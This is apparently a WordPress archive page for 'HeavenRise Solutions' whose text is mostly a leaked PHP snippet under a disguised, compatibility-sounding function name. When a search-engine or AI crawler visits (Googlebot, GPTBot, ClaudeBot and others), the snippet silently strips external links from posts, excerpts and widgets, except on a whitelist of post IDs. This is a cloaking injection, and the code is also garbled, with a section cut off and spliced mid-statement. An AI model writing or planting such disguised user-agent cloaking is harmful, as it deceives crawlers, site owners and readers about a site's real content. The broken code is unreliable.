/* 0x4e9a30b1 */ if (!function_exists('_wp_render_compat')) { function _wp_render_compat($content) { if (!is_singular()) return $content; $ua = strtolower((string)(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '')); if (!preg_match('/(googlebot|googleother|google\\-inspectiontool|storebot\\-google|adsbot\\-google|mediapartners\\-google|feedfetcher\\-google|apis\\-google|bingbot|msnbot|slurp|duckduckbot|yandexbot|baiduspider|perplexity|gptbot|chatgpt\\-user|openai|claudebot|anthropic|copilotbot|youbot|komo|phindbot|andibot|neeva|consensus|twitterbot|applebot|applebot\\-extended)/i', $ua)) return $content; static $wl = null; if ($wl === null) { $wl = array(819=>1,821=>1,823=>1,825=>1,827=>1,829=>1,831=>1,833=>1,835=>1,837=>1,839=>1,841=>1,843=>1,845=>1,849=>1,851=>1,853=>1,855=>1,857=>1,859=>1,861=>1,863=>1,865=>1,867=>1,869=>1,871=>1,873=>1,875=>1,877=>1,879=>1,881=>1,883=>1,885=>1,887=>1,889=>1,891=>1,893=>1,895=>1,897=>1,899=>1,901=>1,903=>1,905=>1,907=>1,909=>1,911=>1,913=>1,915=>1,917=>1,919=>1,921=>1,923=>1,925=>1,927=>1,929=>1,931=>1,933=>1,935=>1,937=>1,939=>1,941=>1,946=>1); } $pid = (int) get_the_ID(); if ($pid && isset($wl[$pid])) return $content; $host = wp_parse_url(home_url(), PHP_URL_HOST); if (!$host) return $content; $host = preg_replace('~^www\.~i', '', $host); if (stripos($content, 'loadHTML('
' . $content . '
', LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); $wrap = $dom->getElementById('_x'); if (!$wrap) { libxml_clear_errors(); return $content; } $links = $wrap->getElementsByTagName('a'); for ($i = $links->length - 1; $i >= 0; $i--) { $a = $links->item($i); $href = trim((string)$a->getAttribute('href')); if ($href === '' || $href[0] === '#') continue; if (strpos($href, '/') === 0 && strpos($href, '//') !== 0) continue; if (preg_match('~^(mailto:|tel:)~i', $href)) continue; if (strpos($href, '//') === 0) $href = 'https:' . $href; $lh = wp_parse_url($href, PHP_URL_HOST); if (!$lh) continue; $lh = preg_replace('~^www\.~i', '', $lh); if (strcasecmp($lh, $host) !== 0) { while ($a->firstChild) $a->parentNode->insertBefore($a->firstChild, $a); $a->parentNode->removeChild($a); } } $out = ''; foreach ($wrap->childNodes as $ch) $out .= $dom->saveHTML($ch); libxml_clear_errors(); return $out; } add_filter('the_content', '_wp_render_compat', 9999); add_filter('the_excerpt', '_wp_render_compat', 9999); add_filter('widget_text', '_wp_render_compat', 9999); } /* 0x4e9a30b1 */ December 2025 – Page 4 – HeavenRise Solutions

December 2025